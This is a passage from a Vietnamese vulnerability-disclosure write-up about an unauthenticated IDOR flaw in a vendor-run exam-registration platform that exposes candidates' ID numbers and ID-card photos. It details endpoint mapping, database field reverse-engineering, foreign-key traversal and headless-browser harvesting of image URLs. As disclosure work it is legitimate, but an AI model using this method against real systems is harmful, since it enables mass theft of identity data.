<p>Trong quá trình đăng ký, thí sinh phải cung cấp những thông tin cá nhân vô cùng nhạy cảm: họ tên đầy đủ, ngày sinh, số điện thoại, email, số CCCD, dân tộc, và đặc biệt là ảnh chụp độ phân giải cao mặt trước và mặt sau của thẻ căn cước công dân. Nếu bị lộ, khối dữ liệu này tạo thành bộ hồ sơ danh tính hoàn chỉnh cho mỗi cá nhân – một bộ hồ sơ mà khác với mật khẩu, không bao giờ có thể thay đổi hay thu hồi được.</p>

<h3 id="12-nền-tảng-bên-thứ-ba-công-ty-y">1.2. Nền tảng Bên thứ ba: Công ty Y</h3>

<p>Giống như nhiều cơ sở giáo dục tại Việt Nam, Trường Đại học X không tự xây dựng hay vận hành phần mềm của mình. Thay vào đó, toàn bộ hệ thống quản lý thi cử bao gồm cơ sở dữ liệu, tầng API (Application Programming Interface - giao diện lập trình ứng dụng), lưu trữ tập tin, và CDN (Content Delivery Network - mạng phân phối nội dung) đều chạy trên nền tảng SaaS mang tên “Connections,” do <strong>Công ty Y</strong> (<code class="language-plaintext highlighter-rouge">companyy.com</code>) phát triển và vận hành.</p>

<p>Điều này có nghĩa là Trường Đại học X đã giao toàn quyền kiểm soát dữ liệu nhạy cảm nhất của thí sinh cho một nhà cung cấp bên ngoài. Nhà trường nhiều khả năng tin tưởng rằng nền tảng này có các biện pháp bảo mật phù hợp. Câu hỏi mà báo cáo này trả lời: liệu nó có an toàn không?</p>

<p>Câu trả lời là không. Nền tảng Connections <strong>hoàn toàn không có bất kỳ ranh giới kiểm soát truy cập nào</strong> giữa một người lạ trên internet và dữ liệu cá nhân lưu trong cơ sở dữ liệu.</p>

<h3 id="13-động-lực-phát-hiện-qua-google-search">1.3. Động lực: Phát hiện qua Google Search</h3>

<p>Mọi chuyện bắt đầu từ một cú tìm kiếm Google đơn giản. Khi gõ các từ khóa liên quan đến kỳ thi, kết quả trả về một đường dẫn trực tiếp đến trang web Trung tâm Khảo thí. Chỉ cần nhấp vào, toàn bộ phiếu đăng ký thi của một thí sinh hiện ra: họ tên đầy đủ, ngày sinh, số CCCD, và cả ảnh chụp thẻ căn cước – tất cả được hiển thị trên một trang web công khai.</p>

<p>Không cần đăng nhập. Không cần công cụ đặc biệt. Chỉ cần một cú tìm kiếm Google và một cú nhấp chuột.</p>

<p>Điều này đặt ra câu hỏi then chốt: <em>đây là sự cố lộ dữ liệu của riêng một thí sinh, hay toàn bộ thông tin cá nhân của mọi thí sinh đều đang bị phơi bày?</em></p>

<p>Câu trả lời, như báo cáo này chứng minh, là trường hợp thứ hai.</p>

<p><img src="/assets/posts/CNMENU/1_public_on_the_internet.png" alt="Kết quả tìm kiếm Google hiển thị thông tin cá nhân thí sinh được lập chỉ mục công khai" />
<em>Hình 1: Kết quả tìm kiếm Google tiết lộ dữ liệu đăng ký của thí sinh bao gồm họ tên, ngày sinh, và số CCCD – được lập chỉ mục công khai và bất kỳ ai cũng có thể truy cập.</em></p>

<h3 id="14-phạm-vi-và-đạo-đức">1.4. Phạm vi và Đạo đức</h3>

<p>Nghiên cứu được thực hiện nghiêm ngặt cho mục đích đánh giá bảo mật:</p>

<ul>
  <li>Mọi truy cập dữ liệu đều sử dụng các điểm cuối công khai.</li>
  <li>Không có xác thực nào bị vượt qua - vì không có xác thực nào tồn tại để vượt qua.</li>
  <li>Không có dữ liệu nào bị sửa đổi, xóa, hoặc tuồn ra cho bên thứ ba.</li>
  <li>Không thực hiện tấn công brute-force lên các tài nguyên được bảo vệ.</li>
  <li>Các kỹ thuật mô tả sao chép lại những gì bất kỳ người dùng internet nào có kiến thức kỹ thuật cơ bản cũng có thể thực hiện thông qua developer console của trình duyệt web.</li>
</ul>

<h3 id="15-phân-loại-kỹ-thuật-tấn-công">1.5. Phân loại Kỹ thuật Tấn công</h3>

<p>Các kỹ thuật MITRE ATT&amp;CK và danh mục OWASP sau đây có liên quan đến các phương pháp được sử dụng trong nghiên cứu này:</p>

<table>
  <thead>
    <tr>
      <th>Kỹ thuật</th>
      <th>Framework</th>
      <th>Ứng dụng trong nghiên cứu</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>IDOR (Insecure Direct Object Reference)</td>
      <td>OWASP Top 10</td>
      <td>ID đối tượng CSDL được dùng trực tiếp trong API không cấp phép</td>
    </tr>
    <tr>
      <td>Broken Access Control</td>
      <td>OWASP Top 10</td>
      <td>Không có xác thực trên bất kỳ điểm cuối API nào</td>
    </tr>
    <tr>
      <td>API Abuse</td>
      <td>OWASP API Top 10</td>
      <td>Truy cập không giới hạn vào thao tác tìm kiếm và tải dữ liệu</td>
    </tr>
    <tr>
      <td>Reconnaissance (T1592)</td>
      <td>MITRE ATT&amp;CK</td>
      <td>Google dorking để phát hiện trang PII được lập chỉ mục</td>
    </tr>
    <tr>
      <td>Active Scanning (T1595)</td>
      <td>MITRE ATT&amp;CK</td>
      <td>Quét thăm dò các điểm cuối API và schema cơ sở dữ liệu</td>
    </tr>
    <tr>
      <td>Data from Info Repos (T1213)</td>
      <td>MITRE ATT&amp;CK</td>
      <td>Trích xuất dữ liệu từ API cơ sở dữ liệu bị phơi bày</td>
    </tr>
    <tr>
      <td>JS API Hijacking</td>
      <td>Web Security</td>
      <td>Gọi hàm nội bộ của framework qua <code class="language-plaintext highlighter-rouge">page.evaluate()</code></td>
    </tr>
    <tr>
      <td>Foreign Key Traversal</td>
      <td>Database Security</td>
      <td>Theo dõi khóa ngoại để khám phá các bảng ẩn</td>
    </tr>
    <tr>
      <td>CDN URL Harvesting</td>
      <td>Web Security</td>
      <td>Trích xuất URL ảnh đã mã hóa từ DOM đã render</td>
    </tr>
  </tbody>
</table>

<h2 id="2-lập-bản-đồ-hạ-tầng-trường-đại-học-x-công-ty-y-và-connections">2. Lập Bản đồ Hạ tầng: Trường Đại học X, Công ty Y và Connections</h2>

<p>Trước khi đi sâu vào lỗ hổng, cần hiểu rõ ai thực sự vận hành hệ thống này và các thành phần được kết nối với nhau như thế nào. Trang web Trung tâm Khảo thí không đơn giản như vẻ bề ngoài của nó.</p>

<h3 id="21-phát-hiện-mối-quan-hệ-nhà-cung-cấp">2.1. Phát hiện Mối quan hệ Nhà cung cấp</h3>

<p>Bước đầu tiên trong phân tích là tìm hiểu ai thực sự vận hành hạ tầng đằng sau <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>. Kiểm tra mã nguồn HTML cho thấy ứng dụng web tải framework JavaScript cốt lõi từ tên miền bên ngoài:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://cdn.companyy.com/js/jquery.main.isj"</span><span class="nt">&gt;&lt;/script&gt;</span>
<span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://cdn.companyy.com/js/include.core.isj"</span><span class="nt">&gt;&lt;/script&gt;</span>
</code></pre></div></div>

<p>Tên miền <code class="language-plaintext highlighter-rouge">companyy.com</code> thuộc về <strong>Công ty Y</strong>, một công ty công nghệ tại Việt Nam. Phân tích sâu hơn cho thấy một hạ tầng nhiều tên miền ngổn ngang:</p>

<table>
  <thead>
    <tr>
      <th>Tên miền</th>
      <th>Vai trò</th>
      <th>Liên hệ với Trường Đại học X</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">companyy.com</code></td>
      <td>Tên miền công ty</td>
      <td>Nhà cung cấp nền tảng</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cdn.companyy.com</code></td>
      <td>CDN JavaScript</td>
      <td>Phân phối framework JS/CSS</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">xhr.companyy.com</code></td>
      <td>Cổng API</td>
      <td>Xử lý mọi cuộc gọi XHR (XMLHttpRequest - API trao đổi dữ liệu nền) đến CSDL</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">tts.companyy.vn</code></td>
      <td>Máy chủ framework</td>
      <td>Lưu trữ file cấu hình ứng dụng</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">connections.vn</code></td>
      <td>Thương hiệu nền tảng</td>
      <td>Nền tảng SaaS “Connections”</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">connections.universityx.vn</code></td>
      <td>API riêng Trường Đại học X</td>
      <td>Điểm cuối API dành riêng cho Trường Đại học X</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">local.universityx.connections.vn</code></td>
      <td>Lưu trữ tập tin</td>
      <td>Chứa PDF và các tập tin tải lên</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">i0.connections.vn</code></td>
      <td>CDN ảnh (node 0)</td>
      <td>Phân phối ảnh chụp CCCD</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">i3.connections.vn</code></td>
      <td>CDN ảnh (node 3)</td>
      <td>Phân phối ảnh chụp CCCD</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">thuctap.companyy.com</code></td>
      <td>Máy chủ CSS</td>
      <td>Phân phối CSS cho ứng dụng con</td>
    </tr>
  </tbody>
</table>

<h3 id="22-kiến-trúc-nền-tảng-connections">2.2. Kiến trúc Nền tảng “Connections”</h3>

<p>Nền tảng “Connections” dường như là một framework SaaS đa mục đích tương tự như Salesforce hoặc Airtable – cung cấp:</p>

<ul>
  <li>Một <strong>tầng cơ sở dữ liệu</strong> nơi các bảng được định danh bằng các mã băm hệ thập lục phân 32 ký tự</li>
  <li>Một <strong>framework JavaScript phía client</strong> với các hàm API tiếng Việt (<code class="language-plaintext highlighter-rouge">xửLý</code>, <code class="language-plaintext highlighter-rouge">CĂN.db</code>, <code class="language-plaintext highlighter-rouge">config</code>)</li>
  <li>Một <strong>CDN lưu trữ tập tin</strong> tại <code class="language-plaintext highlighter-rouge">local.{org}.connections.vn</code></li>
  <li>Một <strong>CDN ảnh</strong> tại <code class="language-plaintext highlighter-rouge">i{N}.connections.vn</code> với tham số URL được mã hóa</li>
  <li>Một <strong>kiến trúc multi-tenant</strong> nơi nhiều tổ chức (Trường Đại học X, và có thể nhiều đơn vị khác) dùng chung một hạ tầng</li>
</ul>

<p>Hệ quả bảo mật quan trọng: dữ liệu thí sinh của Trường Đại học X bao gồm ảnh chụp CCCD được lưu trữ trên và phân phối bởi hạ tầng chung của Công ty Y, không phải trên các máy chủ do Trường Đại học X kiểm soát.</p>

<h3 id="23-cấu-trúc-tên-miền-con-và-luồng-dữ-liệu">2.3. Cấu trúc Tên miền con và Luồng Dữ liệu</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Trinh duyet nguoi dung
    |
    |-- (1) GET tec.universityx.vn/page
    |         |-- Tai bo khung HTML
    |
    |-- Tai JS tu cdn.companyy.com
    |         |-- Tai CSS tu thuctap.companyy.com
    |
    |-- (2) XHR den xhr.companyy.com/xhr/ (hoac connections.universityx.vn/xhr/)
    |
    |-- "doiTuong.tai.{table_hash}" = truy van co so du lieu
    |         |-- Tra ve danh sach cac ID doi tuong
    |
    |-- (3) XHR den xhr.companyy.com/xhr/
    |         |-- "CAN.db({table}.{id})" = tai doi tuong
    |
    |-- Tra ve TAT CA cac truong bao gom CCCD, SDT, v.v.
    |
    |-- (4) GET local.universityx.connections.vn/upload/{cat}/{date}/{file}
    |
    |-- Tai xuong cac file PDF (danh sach thi sinh)
    |
    |-- (5) GET i0.connections.vn/{duong_dan_ma_hoa}?q={token_ma_hoa}
              |-- Tai xuong anh chup the CCCD (mat truoc/mat sau)
</code></pre></div></div>

<p><strong>Không có yêu cầu nào trong số này cần xác thực.</strong></p>

<h2 id="3-dịch-ngược-cấu-trúc-cơ-sở-dữ-liệu">3. Dịch ngược Cấu trúc Cơ sở Dữ liệu</h2>

<p>Bước tiếp theo là tìm hiểu cách cơ sở dữ liệu được tổ chức. Quá trình này đòi hỏi phải đọc mã nguồn JavaScript của trang web – một framework được viết hoàn toàn bằng tiếng Việt – và phát hiện ra rằng các mã định danh bảng cùng ID bản ghi được truyền qua lại mà không có bất kỳ kiểm tra bảo mật nào.</p>

<h3 id="31-giai-đoạn-1-phân-tích-cấu-trúc-url">3.1. Giai đoạn 1: Phân tích Cấu trúc URL</h3>

<p>URL ban đầu được Google lập chỉ mục cung cấp manh mối đầu tiên về cấu trúc cơ sở dữ liệu:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://tec.universityx.vn/7fdc5fa41f345xxxx4bba6b0d3e449385/1518250/2368M35018
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  ^^^^^^^  ^^^^^^^^^^
                    Ma bam bang (Dang ky)             ID obj   Ma ho so
</code></pre></div></div>

<p>URL này trực tiếp lộ ra:</p>
<ol>
  <li><strong>Mã băm bảng Đăng ký</strong>: <code class="language-plaintext highlighter-rouge">7fdc5fa41f345xxxx4bba6b0d3e449385</code></li>
  <li><strong>ID đối tượng đăng ký</strong>: <code class="language-plaintext highlighter-rouge">1518250</code></li>
  <li><strong>Mã hồ sơ</strong> của thí sinh: <code class="language-plaintext highlighter-rouge">2368M35018</code></li>
</ol>

<h3 id="32-giai-đoạn-2-dịch-ngược-framework-javascript">3.2. Giai đoạn 2: Dịch ngược Framework JavaScript</h3>

<p>Mã nguồn framework tại <code class="language-plaintext highlighter-rouge">cdn.companyy.com/js/include.core.isj</code> bị nén mạnh (heavily minified) và sử dụng các định danh tiếng Việt. Qua phân tích runtime (thực thi hàm trong console trình duyệt và quan sát lưu lượng XHR), tôi đã xác định được các hàm API cốt lõi:</p>

<table>
  <thead>
    <tr>
      <th>Hàm</th>
      <th>Hành vi (Được khám phá)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">xửLý(action, params, opts, cb)</code></td>
      <td>Bộ điều phối chính. Gửi XHR đến <code class="language-plaintext highlighter-rouge">xhr.companyy.com/xhr/</code>. Chuỗi <code class="language-plaintext highlighter-rouge">action</code> quyết định hành động.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">CĂN.db(key, callback)</code></td>
      <td>Tải đối tượng CSDL theo key (định dạng: <code class="language-plaintext highlighter-rouge">ma_bam_bang.id_doi_tuong</code>). Cache kết quả vào bộ nhớ cục bộ.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">config(key)</code></td>
      <td>Lấy đối tượng đã tải trước đó từ cache cục bộ. Trả về đối tượng JavaScript với ID trường (số) làm key.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dữLiệu</code></td>
      <td>Đối tượng toàn cục (Global) chứa ngữ cảnh dữ liệu của trang web.</td>
    </tr>
  </tbody>
</table>

<h3 id="33-giai-đoạn-3-khám-phá-schema-csdl-qua-idor">3.3. Giai đoạn 3: Khám phá Schema CSDL qua IDOR</h3>

<p>Phát hiện then chốt là API sử dụng <strong>Tham chiếu Đối tượng Trực tiếp Không An toàn (IDOR)</strong>: mã băm bảng cơ sở dữ liệu và ID đối tượng được truyền trực tiếp từ client lên server mà không có kiểm tra ủy quyền. Điều này cho phép tôi:</p>

<ol>
  <li><strong>Tải mã băm bảng Đăng ký</strong> (nhìn thấy trong URL)</li>
  <li><strong>Truy vấn bảng Đăng ký</strong> bằng cách sử dụng <code class="language-plaintext highlighter-rouge">xửLý("đốiTượng.tải.{hash}", ...)</code> với bộ lọc trường bất kỳ</li>
  <li><strong>Tải một đối tượng Đăng ký</strong> và kiểm tra tất cả các trường của nó – khám phá các ID trường, kiểu dữ liệu, và tham chiếu khóa ngoại</li>
  <li><strong>Khám phá mã băm bảng Thí sinh</strong> bằng cách theo dõi khóa ngoại trong trường <code class="language-plaintext highlighter-rouge">1686869</code> (ID Thí sinh), trường này tham chiếu đến các đối tượng trong bảng <code class="language-plaintext highlighter-rouge">3576ff3533bb4xxxx8e394a0aa83a461f</code></li>
  <li><strong>Tải đối tượng Thí sinh</strong> để truy cập toàn bộ các trường dữ liệu cá nhân</li>
</ol>

<h3 id="34-giai-đoạn-4-ánh-xạ-từng-trường-dữ-liệu">3.4. Giai đoạn 4: Ánh xạ từng trường dữ liệu</h3>

<p>Mỗi đối tượng cơ sở dữ liệu được trả về dưới dạng một từ điển (dictionary) với các key là chuỗi số (ID trường). Tôi đã ánh xạ chúng bằng cách:</p>
<ol>
  <li>Tải nhiều đối tượng thí sinh</li>
  <li>Đối chiếu chéo (Cross-referencing) các giá trị trường với nội dung trang được render</li>
  <li>Xác định kiểu trường (chuỗi, số nguyên, ngày tháng, tham chiếu, tập tin)</li>
</ol>

<h4 id="hệ-thống-kiểu-trường">Hệ thống Kiểu Trường</h4>

<p>Framework sử dụng các ký tự tiếng Việt đơn lẻ để đánh dấu kiểu trường trong các giá trị lưu trữ:</p>

<table>
  <thead>
    <tr>
      <th>Ký hiệu</th>
      <th>Định dạng lưu trữ</th>
      <th>Ý nghĩa</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>(không có)</td>
      <td>Chuỗi/Số thông thường</td>
      <td>Giá trị trực tiếp (họ tên, SDT, CCCD)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">{"ậ":["ID"]}</code></td>
      <td>JSON với ID tham chiếu</td>
      <td>Tham chiếu đến đối tượng khác (dân tộc, tỉnh)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">{"ị":["ID"]}</code></td>
      <td>JSON với ID tập tin</td>
      <td>Tham chiếu đến một tập tin/ảnh đã tải lên</td>
    </tr>
  </tbody>
</table>

<p>Kiểu <code class="language-plaintext highlighter-rouge">"ậ"</code> (tham chiếu) lưu trữ một con trỏ tới một đối tượng tra cứu (lookup object) ví dụ, trường dân tộc <code class="language-plaintext highlighter-rouge">1626773</code> lưu <code class="language-plaintext highlighter-rouge">{"ậ":["146992"]}</code>, giá trị này được phân giải thành “Kinh” khi trang web render. Kiểu <code class="language-plaintext highlighter-rouge">"ị"</code> (tập tin) lưu trữ con trỏ tới tập tin tải lên ví dụ, trường <code class="language-plaintext highlighter-rouge">1658487</code> lưu <code class="language-plaintext highlighter-rouge">{"ị":["4296"]}</code>, giá trị này được phân giải thành bức ảnh CCCD trên image CDN.</p>

<h4 id="bảng-ánh-xạ-trường-bảng-đăng-ký-đã-dịch-ngược">Bảng Ánh xạ Trường Bảng Đăng ký (Đã dịch ngược)</h4>

<table>
  <thead>
    <tr>
      <th>ID Trường</th>
      <th>Tên trường</th>
      <th>Kiểu</th>
      <th>Ví dụ</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1626725</td>
      <td>ID Ca thi</td>
      <td>Khóa ngoại (FK)</td>
      <td>54914</td>
    </tr>
    <tr>
      <td>1626730</td>
      <td>Mã hồ sơ</td>
      <td>Chuỗi</td>
      <td>2368M35018</td>
    </tr>
    <tr>
      <td>1630529</td>
      <td>Mã trạng thái</td>
      <td>Số nguyên</td>
      <td>1</td>
    </tr>
    <tr>
      <td>1630538</td>
      <td>Cờ hoạt động</td>
      <td>Boolean</td>
      <td>1</td>
    </tr>
    <tr>
      <td>1642331</td>
      <td>SBD (Số báo danh)</td>
      <td>Chuỗi</td>
      <td>AN1001</td>
    </tr>
    <tr>
      <td>1654914</td>
      <td>Thời gian đăng ký</td>
      <td>Timestamp</td>
      <td>1726716820</td>
    </tr>
    <tr>
      <td>1686869</td>
      <td>ID Thí sinh</td>
      <td>Khóa ngoại (FK)</td>
      <td>582319</td>
    </tr>
    <tr>
      <td>1704995</td>
      <td>Điểm số</td>
      <td>JSON</td>
      <td>[{“nghe”:”8.5”}]</td>
    </tr>
    <tr>
      <td>mãĐịnhDanh</td>
      <td>Mã ID</td>
      <td>Chuỗi</td>
      <td>V2KT2106AN1114</td>
    </tr>
    <tr>
      <td>tổngTiền</td>
      <td>Lệ phí</td>
      <td>Số nguyên</td>
      <td>1800000</td>
    </tr>
  </tbody>
</table>

<h4 id="bảng-ánh-xạ-trường-bảng-thí-sinh-đã-dịch-ngược">Bảng Ánh xạ Trường Bảng Thí sinh (Đã dịch ngược)</h4>

<table>
  <thead>
    <tr>
      <th>ID Trường</th>
      <th>Tên trường</th>
      <th>Kiểu</th>
      <th>Ví dụ / Chú thích</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1686868</td>
      <td>Họ tên đầy đủ</td>
      <td>Chuỗi</td>
      <td>Nguyễn xxx xxxx Trà</td>
    </tr>
    <tr>
      <td>1626768</td>
      <td>Họ và Tên đệm</td>
      <td>Chuỗi</td>
      <td>Nguyễn Thị xxxx</td>
    </tr>
    <tr>
      <td>1626772</td>
      <td>Tên</td>
      <td>Chuỗi</td>
      <td>Trà</td>
    </tr>
    <tr>
      <td>1626773</td>
      <td><strong>Dân tộc</strong></td>
      <td><strong>Tham chiếu</strong></td>
      <td>{“ậ”:[“146992”]} → Kinh</td>
    </tr>
    <tr>
      <td>1626783</td>
      <td>Ngày sinh</td>
      <td>Ngày</td>
      <td>28/09/2000</td>
    </tr>
    <tr>
      <td>1626784</td>
      <td>Giới tính</td>
      <td>Enum</td>
      <td>1=Nam, 2=Nữ</td>
    </tr>
    <tr>
      <td>1626788</td>
      <td>Số điện thoại</td>
      <td>Chuỗi</td>
      <td>037xxxx973</td>
    </tr>
    <tr>
      <td>1626793</td>
      <td>Email</td>
      <td>Chuỗi</td>
      <td>email@gmail.com</td>
    </tr>
    <tr>
      <td>1626818</td>
      <td><strong>Nơi sinh</strong></td>
      <td><strong>Tham chiếu</strong></td>
      <td>{“ậ”:[“147000”]} → Tỉnh Bắc Kạn</td>
    </tr>
    <tr>
      <td>1626820</td>
      <td>Tỉnh/Thành phố (Hiện tại)</td>
      <td>Tham chiếu</td>
      <td>{“ậ”:[“146999”]}</td>
    </tr>
    <tr>
      <td>1646777</td>
      <td>Số CCCD/CMND</td>
      <td>Chuỗi</td>
      <td>0222xxxx2576</td>
    </tr>
    <tr>
      <td>1658487</td>
      <td><strong>Ảnh CCCD (mặt trước)</strong></td>
      <td><strong>Tham chiếu file</strong></td>
      <td>{“ị”:[“4296”]}</td>
    </tr>
    <tr>
      <td>1658488</td>
      <td><strong>Ảnh CCCD (mặt sau)</strong></td>
      <td><strong>Tham chiếu file</strong></td>
      <td>{“ị”:[“243”]}</td>
    </tr>
    <tr>
      <td>2102859</td>
      <td>Đơn vị công tác</td>
      <td>Chuỗi</td>
      <td>Văn bản tự do</td>
    </tr>
  </tbody>
</table>

<h3 id="35-giai-đoạn-5-sơ-đồ-duyệt-khóa-ngoại">3.5. Giai đoạn 5: Sơ đồ Duyệt Khóa ngoại</h3>

<p>Đường dẫn duyệt (traversal path) hoàn chỉnh từ một URL công khai đến các bức ảnh thẻ CCCD:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+-------------------------------------------+
|           URL Công khai                    |
|  tec.universityx.vn/{hash}/{id}/{file}            |
+---------------------+---------------------+
                      |
          lộ mã băm bảng + ID đối tượng
                      |
                      v
+-------------------------------------------+
|        Đối tượng Đăng ký                   |
|  Bảng: 7fdc5fa4...                         |
|  Chứa SBD, mã hồ sơ                       |
+---------------------+---------------------+
                      |
           trường khóa ngoại 1686869
                      |
                      v
+-------------------------------------------+
|        Đối tượng Thí sinh                  |
|  Bảng: 3576ff35...                         |
|  Chứa TẤT CẢ PII                          |
+----------+----------------+---------------+
           |                |
           v                v
+-------------------+  +----------------------+
| Dữ liệu Cá nhân  |  | Ảnh Thẻ CCCD         |
| CCCD, SDT, Email, |  | Mặt trước + Mặt sau  |
| Dân tộc, Nơi sinh |  | trên i0.connections.vn |
+-------------------+  +----------------------+
</code></pre></div></div>

<h2 id="4-khám-phá-cdn-hạ-tầng-ảnh-và-tập-tin">4. Khám phá CDN: Hạ tầng Ảnh và Tập tin</h2>

<p>Ảnh chụp căn cước công dân được lưu trữ trên một máy chủ hình ảnh riêng biệt, không nằm trong cơ sở dữ liệu chính. Việc hiểu cách các URL hình ảnh được tạo ra là chìa khóa để chứng minh rằng bất kỳ ai cũng có thể tải xuống hàng loạt ảnh CCCD.</p>

<h3 id="41-cdn-tập-tin-tĩnh-localuniversityxconnectionsvn">4.1. CDN Tập tin tĩnh: <code class="language-plaintext highlighter-rouge">local.universityx.connections.vn</code></h3>

<p>Tất cả tài liệu được tải lên (PDF, danh sách thí sinh) được lưu tại máy chủ tập tin tĩnh với cấu trúc URL có thể dự đoán được:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://local.universityx.connections.vn/upload/{category_id}/{YYYY/MM/DD}/{uuid_filename}
</code></pre></div></div>

<p>Metadata của file bao gồm toàn bộ các thành phần tạo nên URL được nhúng vào HTML của trang chính dưới dạng một khối JSON được cache lại. Các metadata này sử dụng tên trường bằng tiếng Việt bị làm ngắn (minified):</p>

<table>
  <thead>
    <tr>
      <th>Key JSON</th>
      <th>Ý nghĩa</th>
      <th>Ví dụ</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"i"</code></td>
      <td>ID Tập tin</td>
      <td>534167</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"ạ"</code></td>
      <td>ID Danh mục</td>
      <td>25</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"ô"</code></td>
      <td>Hostname máy chủ</td>
      <td>local.universityx.connections.vn</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"ớ"</code></td>
      <td>Đường dẫn ngày tháng</td>
      <td>2024/09/19</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"ũ"</code></td>
      <td>Tên file gốc</td>
      <td>Danh sach phong thi.pdf</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">"ợ"</code></td>
      <td>Tên file trên máy chủ (UUID)</td>
      <td>f2247559bcac…03.pdf</td>
    </tr>
  </tbody>
</table>

<p>Tôi đã phát hiện ra <strong>32 tập PDF danh sách thí sinh</strong> bằng cách phân tích metadata này và lọc các tên file có chứa “danh sach” hoặc “phong thi.” Tôi đã gặp phải một lỗi nghiêm trọng (critical bug): các dấu gạch chéo trong đường dẫn ngày tháng bị escape bằng JSON (<code class="language-plaintext highlighter-rouge">2024\/09\/19</code>) đã gây ra lỗi HTTP 404 cho đến khi tôi thêm logic unescape đường dẫn vào code.</p>

<h3 id="42-cdn-ảnh-inconnectionsvn">4.2. CDN Ảnh: <code class="language-plaintext highlighter-rouge">i{N}.connections.vn</code></h3>

<p>Phát hiện nhạy cảm nhất là hạ tầng CDN ảnh. Ảnh chụp CCCD được phân phối từ CDN cân bằng tải với các node <code class="language-plaintext highlighter-rouge">i0.connections.vn</code>, <code class="language-plaintext highlighter-rouge">i3.connections.vn</code>, v.v.</p>

<h4 id="url-ảnh-mã-hóa">URL Ảnh Mã hóa</h4>

<p>Khác với CDN tập tin tĩnh (sử dụng đường dẫn có thể đọc được), CDN ảnh sử dụng <strong>đường dẫn và tham số truy vấn mã hóa/được mã hóa</strong>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Anh CCCD mat truoc:
https://i0.connections.vn/kt3PG1hPTgTPG1MJ.u54.L8JKx-X.LDJ9Ei
  tREHqGaAN9ZWP6gM46Wbb?q=wqQ2KLBn6g3dDaf29mOnD7stDafo9aAo...

# Anh CCCD mat sau:
https://i0.connections.vn/kt3PG1hPTgTPG1MJ.u54.L8JKx-X.LDJ9Ei
  z9mONGaAN9ZWP6gM46Wbb?q=wqQ2KLBn6g3dDaf29mOnD7stDafo9aAo...

# Anh the chan dung:
https://i0.connections.vn/kt3PG1hPTgTPG1MJ.u54.L8JKx-X.LDJ9Ei
  tREHdGaAN9ZWP6gM46Wbb?q=wqQ2KLBn6g3dDaf29mOnD7stDafo9aAo...
</code></pre></div></div>

<p>Các quan sát quan trọng về cấu trúc URL:</p>

<ul>
  <li><strong>Đường dẫn (path)</strong> của URL mã hóa tham chiếu tập tin - các hình ảnh khác nhau của cùng một thí sinh khác biệt vài ký tự trong phần đường dẫn</li>
  <li>Tham số truy vấn <code class="language-plaintext highlighter-rouge">q=</code> dường như là một token phiên hoặc token xác thực, nhưng lại <strong>giống hệt nhau</strong> trên tất cả hình ảnh trong cùng một lần tải trang, cho thấy nó là token cấp độ trang chứ không phải cho từng hình ảnh riêng lẻ</li>
  <li>Các URL này <strong>không thể đoán được</strong> - chỉ có thể lấy được bằng cách render trang chi tiết của thí sinh trong trình duyệt (do framework JavaScript sinh ra chúng tại runtime)</li>
  <li>Tuy nhiên, một khi trang đã được render, các URL này <strong>có thể tải xuống trực tiếp</strong> qua HTTP GET đơn giản mà không cần cookie hay header bổ sung nào</li>
</ul>

<h4 id="cách-thức-url-ảnh-được-tạo-ra">Cách thức URL Ảnh được tạo ra</h4>

<p>Framework JavaScript tạo các URL CDN ảnh trong quá trình render trang thông qua quá trình:</p>

<ol>
  <li>Đọc trường tham chiếu tập tin (ví dụ: <code class="language-plaintext highlighter-rouge">{"ị":["4296"]}</code>)</li>
  <li>Mã hóa ID tập tin, ngữ cảnh tổ chức, và một session token vào đường dẫn URL và chuỗi truy vấn (query string)</li>
  <li>Gán URL đó làm thuộc tính <code class="language-plaintext highlighter-rouge">background-image</code> của CSS trên một thẻ <code class="language-plaintext highlighter-rouge">&lt;div&gt;</code></li>
</ol>

<p>Điều này có nghĩa là URL ảnh không thể được xây dựng bằng code chỉ với các ID tập tin thuật toán mã hóa của framework JavaScript bắt buộc phải được thực thi trong môi trường trình duyệt. Công cụ của tôi giải quyết vấn đề này bằng cách render trang của mỗi thí sinh bằng trình duyệt headless và trích xuất URL <code class="language-plaintext highlighter-rouge">background-image</code> từ DOM.</p>

